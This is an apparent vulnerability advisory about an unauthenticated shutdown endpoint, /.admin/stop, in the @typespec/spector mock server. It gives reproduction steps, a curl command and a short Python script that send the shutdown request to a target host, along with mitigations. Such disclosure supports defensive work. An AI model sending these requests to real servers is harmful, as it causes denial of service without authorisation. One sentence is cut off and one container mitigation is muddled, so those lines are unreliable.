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The vulnerability exists in the @typespec/spector package (version 0.1.0-alpha.26) where the Express server registers an administrative route POST /.admin/stop without any authentication, authorization token, Origin header check, or IP source restriction. This endpoint is intended to gracefully shut down the mock server process, but because it lacks any access controls, any client that can reach the server’s port can trigger it. The server binds to 0.0.0.0 by default (all network interfaces) because the listen() call in packages/spector/src/server/server.ts:88 does not specify a host argument. The CLI command tsp-spector serve also does not provide a –host option to restrict binding, leaving no built-in way to limit exposure. The admin router is mounted at / before scenario routes, so the shutdown handler is always reachable.
The attack call chain is straightforward: the CLI starts the server on port 3000, the MockApiApp initializes without a host argument, the internal router includes admin routes, and the admin route handler calls process.exit(0) after a 202 response. There is no authentication middleware, no token validation, no IP allowlist, and no Origin restrictions anywhere between the request and the termination call. This makes the denial-of-service trivial: a single HTTP POST request to /.admin/stop will terminate the server process. The impact is severe because development and CI/CD environments often expose this port to internal networks or even the internet, and the default configuration is vulnerable out-of-the-box. The vulnerability is classified as CWE-306 (Missing Authentication for Critical Function) with a CVSS base score of 7.5 (High). The provided PoC demonstrates that the server accepts the request without any credentials, responds with 202 Accepted, and then exits, refusing subsequent connections. The vulnerability is reproducible using the provided Docker environment and a simple Python script. The lack of authentication means that an attacker with network reachability can cause a complete denial of service with minimal effort. This is not a theoretical issue—the admin route is mounted and reachable by design, but without the intended protection that would normally require admin privileges or a secret token.
DailyCVE Form:
Platform: @typespec/spector
Version: 0.1.0-alpha.26
Vulnerability: Missing Authentication CWE-306
Severity: High CVSS 7.5
date: Not disclosed
Prediction: No patch yet
What Undercode Say:
Clone the vulnerable repository git clone https://github.com/microsoft/typespec cd typespec git checkout d88ddc16 pnpm install pnpm build Start the mock server (default binds to 0.0.0.0:3000) pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 Alternatively, build and run the provided Docker container docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector Send the exploit request (single unauthenticated POST) curl -i -X POST http://127.0.0.1:3000/.admin/stop Using the provided Python PoC script python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
The Python script verifies server availability, sends the POST request, and checks that the process exits. The full code is available in the .
Exploit: (Educational Purposes!)
Direct curl exploit curl -X POST http://<target-host>:<port>/.admin/stop
Minimal Python exploit import urllib.request url = "http://<target-host>:<port>/.admin/stop" req = urllib.request.Request(url, data=b"", method="POST") try: resp = urllib.request.urlopen(req) print(resp.status) except Exception as e: print(e)
The server will respond with 202 Accepted and immediately call process.exit(0), causing the service to become unavailable.
Protection: from this CVE
- Apply network-level firewall rules to restrict inbound access to the port (e.g., allow only localhost or trusted IPs).
- Run the server inside a container with network isolation (e.g., use `–network host` only if necessary, or use a reverse proxy).
- Monitor for unexpected POST requests to /.admin/stop.
- Consider using a custom wrapper that overrides the listen host to `127.0.0.1` by modifying `server.ts` temporarily.
- Wait for an official patch from the maintainers that adds authentication or a –host option.
Impact:
An unauthenticated remote attacker can terminate the mock server process with a single HTTP request, causing a complete denial of service. This affects developers and CI/CD pipelines where the server is exposed to untrusted networks. No credentials, tokens, or special headers are required, and the default configuration is vulnerable. The CVSS score is 7.5 (High) due to the ease of exploitation and the lack of any mitigating controls within the application itself.
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Sources:
Reported By: github.com
Extra Source Hub:
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